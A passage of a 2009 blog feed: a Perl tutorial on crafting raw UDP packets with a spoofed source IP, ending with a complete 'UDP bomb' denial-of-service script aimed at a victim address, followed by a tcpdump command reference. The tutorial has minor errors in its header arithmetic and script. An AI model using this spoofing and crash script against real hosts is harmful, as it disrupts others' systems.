255, 51);"&gt;Formatting the packet using pack function &lt;/span&gt; &lt;span style="font-weight: bold; color: rgb(51, 255, 51);"&gt;****************************************** *********&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;Once the header fields are set, we can use pack function to create the packet in binary format.  &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;For the details you may need to undertsand the pack function and the order of header field formats as specified in the RFCs. &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt; &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;You can see the pack function manual in the links section provided at the bottom. &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt; &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;The pack function takes a template as its first argument and the data to be formatted as its next arguments.&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;The function&lt;span style="color: rgb(102, 255, 153);"&gt; pack('H2H2nnB16C2na4a4nnnna*', &lt;/span&gt;&lt;/span&gt; &lt;span style="color: rgb(102, 255, 153);"&gt;  $ip_ver_len,$ip_tos,$ip_tot_len,$ip_frag_id, &lt;/span&gt; &lt;span style="color: rgb(102, 255, 153);"&gt;  $ip_fl_fr,$ip_ttl,$udp_proto,$zero_cksum,$src_host, &lt;/span&gt; &lt;span style="color: rgb(102, 255, 153);"&gt;  $dst_host,$src_port,$dest_port,$len, $cksum, $data);  &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt; &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;packs the fields as follows: &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 255, 153);"&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;H2:&lt;/span&gt;    A hex string (high nybble first)  =&gt;Sets the ip_ver_len (Ip version and Internet header length field)&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;H2:&lt;/span&gt;    A hex string (high nybble first) =&gt; Sets the ip_tos (Type of service)&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;n:&lt;/span&gt;  An unsigned short (16-bit) in "network" (big-endian) order. =&gt; ip_frag_id (16 bit fragment ID number)&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;n: &lt;/span&gt; An unsigned short (16-bit) in "network" (big-endian) order. =&gt; ip_fl_fr (Fragmentation flags and fragment offset)&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;B16:&lt;/span&gt; A bit string (descending bit order inside each byte).=&gt; ip_ttl (Time to live)&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;C2:&lt;/span&gt; An unsigned char (octet) value. =&gt; udp_proto (UDP protocol ID)&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;n:&lt;/span&gt; An unsigned short (16-bit) =&gt; zero_cksum (Header checksum, to be calculated by the kernel)&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;a4:&lt;/span&gt;  A string with arbitrary binary data, will be null padded. =&gt; src_host(Source IP)&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;a4:&lt;/span&gt;  =&gt; dst_host (Destination IP)&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;n &lt;/span&gt;   =&gt; src_port (Source port)&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;n&lt;/span&gt;    =&gt; dest_port (Destination port)&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;n &lt;/span&gt;   =&gt; len (length of UDP part)&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;n&lt;/span&gt;    =&gt; cksum (checksum of udp part)&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;a*&lt;/span&gt;    =&gt; data (UDP DATA)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;The pack function returns you a formatted packet which you can send across.&lt;br /&gt;In case you try to modify the pack function template, its possible that the bits are not set as required,&lt;br /&gt;in such case your packet will not be forwarded by Machine A. However you can see the bad packet by running a&lt;br /&gt;tcpdump on Machine A. If you use the template as say:&lt;br /&gt;&lt;br /&gt;For eg.&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;CCnnnCCna4a4a*nnna*&lt;/span&gt; (which I tried unsuccessfully)&lt;br /&gt;you will get a packet which upon a tcpdump capture looks like this:&lt;br /&gt;The wireshark could not identify the fields that we set, which itself means the packet wasnot formatted correctly.&lt;br /&gt;Even you can see the IP version number is set as 2, which is not what we set before ($ip_ver = 4). Such bad packets&lt;br /&gt;are never forwarded, and so you will not see them in the tcpdump capture of the victim machine B.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_e-VL6LAQQaw/SoZdVlDSdCI/AAAAAAAAADc/rnEsQ7P3FUA/s1600-h/1.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 193px;" src="http://1.bp.blogspot.com/_e-VL6LAQQaw/SoZdVlDSdCI/AAAAAAAAADc/rnEsQ7P3FUA/s400/1.PNG" alt="" id="BLOGGER_PHOTO_ID_5370082230990435362" border="0" /&gt;&lt;/a&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;After formatting the packet using the template "&lt;span style="color: rgb(255, 255, 0);"&gt;H2H2nnB16C2na4a4nnnna*&lt;/span&gt;", we see a packet capture as:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_e-VL6LAQQaw/SoZdo9MVdgI/AAAAAAAAADk/OODIbyXOoVI/s1600-h/2Correct.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 257px;" src="http://1.bp.blogspot.com/_e-VL6LAQQaw/SoZdo9MVdgI/AAAAAAAAADk/OODIbyXOoVI/s400/2Correct.PNG" alt="" id="BLOGGER_PHOTO_ID_5370082563888346626" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Here, the wireshark correctly identifies every field and the packet is captured on the victim machine B as well.  &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;Which means that our UDP packet reached its destination.  You can also see the echo data that we sent, TEST.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_e-VL6LAQQaw/SoZffLGXROI/AAAAAAAAADs/hCQAd2Wewdo/s1600-h/3Correct.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 234px;" src="http://4.bp.blogspot.com/_e-VL6LAQQaw/SoZffLGXROI/AAAAAAAAADs/hCQAd2Wewdo/s400/3Correct.PNG" alt="" id="BLOGGER_PHOTO_ID_5370084594845959394" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt; &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51); font-weight: bold;"&gt;Creating a Simple exploit&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 255, 51); font-weight: bold;"&gt;*******************************&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Have you heard about the UDP bomb attack? Its a very old attack, and in todays date, kindof ineffective, only some very old Sun systems could be vulnerable to this. &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;But its great for testing the efficiency of security programs say your firewall. Well, this attack sends a malformed UDP packet to the victim machine.  &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;And if the victim machine is vulnerable, this could crash the machine, resulting in a Denial of Service attack. You wonder what we change in the  &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;UDP packet? Remember the len variable that we used, the len variable carries the length of the UDP part. That is the length of the  &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;header fields and the length of the data part. The total length of UDP header part is 8 bytes (4 bytes, 2 each for src and dest port and 8  &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;bytes for checksum and udp length field). A very obvious fact is that even for a blank UDP packet (whose data part is zero) the UDP length would still be &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;8 bytes. i.e minimum possible udp length could be 8 bytes. But what if we change the udp length to something less than 8? If the victim machine &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;does not verify the length of the UDP length field, it may crash. And this is what happens when you send the invalid udp packet to a vulnerable victim  &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;machine.  &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt; &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;so for creating a udp bomb attack, just make the len part to something less than 8, say 3. Let the total length in the IP field have the correct value, &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;or else there is a chance that your IP header becomes invalid and some forwarding router drops it. Thats it, your test script is ready. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51); font-weight: bold;"&gt;Links: &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51); font-weight: bold;"&gt;********&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 153, 0);"&gt;Net Packet &lt;/span&gt;&lt;br /&gt;&lt;a href="http://search.cpan.org/%7Egomor/Net-Packet/"&gt;http://search.cpan.org/~gomor/Net-Packet/ &lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 153, 0);"&gt;A nice C program for learning how to create a raw UDP packet &lt;/span&gt;&lt;br /&gt;&lt;a href="http://insecure.org/sploits/inetd.internal_udp_ports.DOS.attack.html"&gt;http://insecure.org/sploits/inetd.internal_udp_ports.DOS.attack.html &lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt; &lt;/span&gt; &lt;span style="color: rgb(255, 153, 0);"&gt;IP Header &lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.freesoft.org/CIE/Course/Section3/7.htm"&gt;http://www.freesoft.org/CIE/Course/Section3/7.htm &lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.networksorcery.com/enp/protocol/ip.htm"&gt;http://www.networksorcery.com/enp/protocol/ip.htm  &lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt; &lt;/span&gt; &lt;span style="color: rgb(255, 153, 0);"&gt;UDP Header &lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.networksorcery.com/enp/protocol/udp.htm"&gt;http://www.networksorcery.com/enp/protocol/udp.htm &lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 153, 0);"&gt;Pack function &lt;/span&gt;&lt;br /&gt;&lt;a href="http://perldoc.perl.org/functions/pack.html"&gt;http://perldoc.perl.org/functions/pack.html &lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 153, 0);"&gt;Creating a RAW TCP/IP packet &lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.perlmonks.org/index.pl?node_id=17576&amp;amp;lastnode_id=63535"&gt;http://www.perlmonks.org/index.pl?node_id=17576&amp;amp;lastnode_id=63535 &lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 153, 0);"&gt;UDP Bomb attack &lt;/span&gt;&lt;br /&gt;&lt;a href="http://xforce.iss.net/xforce/xfdb/143"&gt;http://xforce.iss.net/xforce/xfdb/143&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt;##########################################&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt;###########Source for educational purpose############&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt;#!/usr/bin/perl&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt;use Socket;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt;$src_host = $ARGV[0];&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt;$dst_host = $ARGV[1];&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt;$src_port = 33333;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt;$dest_port = 7;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt;$len = 3;    #$len is the udp packet length in the udp header. Must Not be less than 8, for udp bomb attack make it less than 8 ...say 3..lol ;)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt;$cksum = 0;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt;$data = "TEST";&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt;$udp_len = 12;  #8+TEST &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt;$udp_proto = 17; #17 is the code for udp, alternatively, you can getprotobyname. &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt;if(!defined $src_host or !defined $src_port or !defined $dst_host or   &lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt;!defined!dest_port)&lt;br /&gt;{&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt;    print "#####  Script to send a UDP packet, src port is 33333 and Dest port is 7 (echo). To change these, make changes in the script. #####\n";&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt;   print "\nUsage: perl $0 &lt;source&gt; &lt;dest&gt;\n";&lt;br /&gt;&lt;br /&gt;&lt;/dest&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt;   print "Eg. perl $0 9.12.34.237 9.12.34.239\n"; &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt;&lt;br /&gt;print "9.12.34.237 =&gt; Attack Machine\n";&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt;   print "9.12.34.239 =&gt; Victim Machine\n";&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt;   exit;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt; }  &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt;#Prepare the udp packet, not required, we arent calculating the checksum ;)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt;#$udp_packet = pack("nnnna*", $src_port,$dest_port,$len, $cksum, $data);&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt;$zero_cksum = 0;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt; my $dst_host = (gethostbyname($dst_host))[4];&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt; my $src_host = (gethostbyname($src_host))[4];&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt;&lt;br /&gt;# Now lets construct the IP packet&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt; my $ip_ver             = 4;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt; my $ip_len             = 5;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt; my $ip_ver_len         = $ip_ver . $ip_len;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt; my $ip_tos             = 00;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt; my ($ip_tot_len)       = $udp_len + 20;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt; my $ip_frag_id         = 19245;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt; my $ip_frag_flag       = "010";&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt; my $ip_frag_oset       = "0000000000000";&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt; my $ip_fl_fr           = $ip_frag_flag . $ip_frag_oset;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt; my $ip_ttl             = 30;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt;#H2H2nnB16C2na4a4 for the IP Header part&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt;#nnnna*   for the UDP Header part.&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt;#To undertsand these, see the manual of pack function and IP and UDP Header formats&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt;#IP checksum  ($zero_cksum is calculated by the kernel. Dont worry about it.)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt; my ($pkt) = pack('H2H2nnB16C2na4a4nnnna*', &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt;  $ip_ver_len,$ip_tos,$ip_tot_len,$ip_frag_id, &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt;  $ip_fl_fr,$ip_ttl,$udp_proto,$zero_cksum,$src_host, &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt;  $dst_host,$src_port,$dest_port,$len, $cksum, $data); &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt; socket(RAW, AF_INET, SOCK_RAW, 255) || die $!;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt; setsockopt(RAW, 0, 1, 1);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt; my ($destination) = pack('Sna4x8', AF_INET, $dest_port, $dst_host);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt; send(RAW,$pkt,0,$destination);&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt;###########Ends here#####################&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);font-family:courier new;" &gt;######################################&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6348799822268982633-7423539327586712770?l=rhosted.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://rhosted.blogsopt.com/perl_spoof_a_udp' title='Creating a UDP Packet/IP Spoofing through PERL'/><link rel='replies' type='application/atom+xml' href='http://rhosted.blogspot.com/feeds/7423539327586712770/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://rhosted.blogspot.com/2009/08/creating-udp-packetip-spoofing-through.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/7423539327586712770'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/7423539327586712770'/><link rel='alternate' type='text/html' href='http://rhosted.blogspot.com/2009/08/creating-udp-packetip-spoofing-through.html' title='Creating a UDP Packet/IP Spoofing through PERL'/><author><name>k3w13r</name><uri>http://www.blogger.com/profile/12416647679178002935</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://2.bp.blogspot.com/_e-VL6LAQQaw/S9PRXoISxEI/AAAAAAAAALA/kErir6kH4As/S220/Icon.PNG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_e-VL6LAQQaw/SoZdVlDSdCI/AAAAAAAAADc/rnEsQ7P3FUA/s72-c/1.PNG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6348799822268982633.post-2772764759342208727</id><published>2009-07-28T09:10:00.000+05:30</published><updated>2009-07-28T21:31:37.183+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='tcpdump usage linux packet sniffing'/><title type='text'>Finally Tcpdump</title><content type='html'>&lt;span style="color: rgb(51, 204, 0);"&gt;Although I like wireshark the most, but there are times when you have to use tcpdump. Anyways if I need any colorful troubleshooting I generally save the tcpdump capture in a pcap file, and later view it in wireshark.&lt;br /&gt;&lt;br /&gt;This is for reference, its not a guide but just a list of usage commands that I picked from various sources. Yeah I admit, I am one of those lamers who prefer to google than reading the man page. :/ Most are picked from wireshark's homepage :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://openmaniak.com/tcpdump.php"&gt;http://openmaniak.com/tcpdump.php&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0); font-weight: bold;"&gt;1.tcpdump&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0); font-weight: bold;"&gt;2.tcpdump -v //verbose&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0); font-weight: bold;"&gt;3.tcpdump -D //lists devices&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0); font-weight: bold;"&gt;4.tcpdump -n //avoid dns lookup&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0); font-weight: bold;"&gt;5.tcpdump -q // quick output&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0); font-weight: bold;"&gt;6.tcpdump udp // capture udp packets only :: useful&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0); font-weight: bold;"&gt;7.tcpdump -w capture.cap //save the capture to a file named capture.cap :: useful&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0); font-weight: bold;"&gt;8.tcpdump -r capture.cap //read dump from capture.cap&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0); font-weight: bold;"&gt;9.tcpdump host abc.com //packets coming from or going towards abc.com ::useful&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0); font-weight: bold;"&gt;10.tcpdump src xx.xx.xx.aa and dst xx.xx.xx.bb&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0); font-weight: bold;"&gt;11.tcpdump -A //displays the packet's content ::useful&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0); font-weight: bold;"&gt;12.tcpdump -i eth1 //capture on interface eth1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0); font-weight: bold;"&gt;13.tcpdump -v -A udp and dst 192.168.69.238 or dst 192.168.69.242 -i eth1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0); font-weight: bold;"&gt;14.tcpdump -n -S -s 15000 -vv -X 'host 192.168.0.159 and udp and port 1717'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0); font-weight: bold;"&gt;-S print absolute IP sequence number (not relative)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0); font-weight: bold;"&gt;-n no address resolution&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0); font-weight: bold;"&gt;-s size of capture for each packet (15000 should be enough to hold data returned by query,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0); font-weight: bold;"&gt;you will have to play with this depending on what type of query you issue)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0); font-weight: bold;"&gt;-X print HEX and ASCII version of packet 'host 192.168.0.159 and udp and port 1717'&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;for an exhaustive list, see the man page&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://linux.die.net/man/8/tcpdump"&gt;http://linux.die.net/man/8/tcpdump&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;Eg.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0); font-weight: bold;"&gt;tcpdump -v -A udp and  dst 192.168.69.238 or dst 192.168.69.242 -i eth1 &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 102);"&gt;tcpdump: listening on eth1, link-type EN10MB (Ethernet), capture size 96 bytes &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 102);"&gt;03:25:40.691905 IP (tos 0x0, ttl 64, id 23436, offset 0, flags [DF], proto UDP (17), length 40) node242.39738 &gt; 192.168.69.238.chargen: UDP, length 12 &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 102);"&gt;E..([.@.@.....E...E..:.....XHello World! &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 102);"&gt;03:25:40.692592 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 1052) 192.168.69.238.chargen &gt; node242.39738: UDP, length 1024 &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 102);"&gt;E.....@.@.)...E...E....:....FGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxy &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0); font-weight: bold;"&gt;tcpdump -n -S -s 15000 -vv -X 'host 192.168.0.159 and udp and port 1717' &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 102);"&gt;09:41:54.262946 IP (tos 0x0, ttl 255, id 28832, offset 0, flags [DF], length: 46) 192.168.0.159.33365 &amp;gt; 69.25.16.47.1717: [udp sum ok] UDP, length: 18 &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 102);"&gt;0x0000: 4500 002e 70a0 4000 ff11 e2f6 c0a8 009f E...p.@......... &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 102);"&gt;0x0010: 4519 102f 8255 06b5 001a 8e36 fefd 004e E../.U.....6...N &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 102);"&gt;0x0020: bf06 01ff ffff 0000 0000 0000 0000 .............. &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6348799822268982633-2772764759342208727?l=rhosted.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rhosted.blogspot.com/feeds/2772764759342208727/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://rhosted.blogspot.com/2009/07/finally-tcpdump.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/2772764759342208727'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/2772764759342208727'/><link rel='alternate' type='text/html' href='http://rhosted.blogspot.com/2009/07/finally-tcpdump.html' title='Finally Tcpdump'/><author><name>k3w13r</name><uri>http://www.blogger.com/profile/12416647679178002935</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' 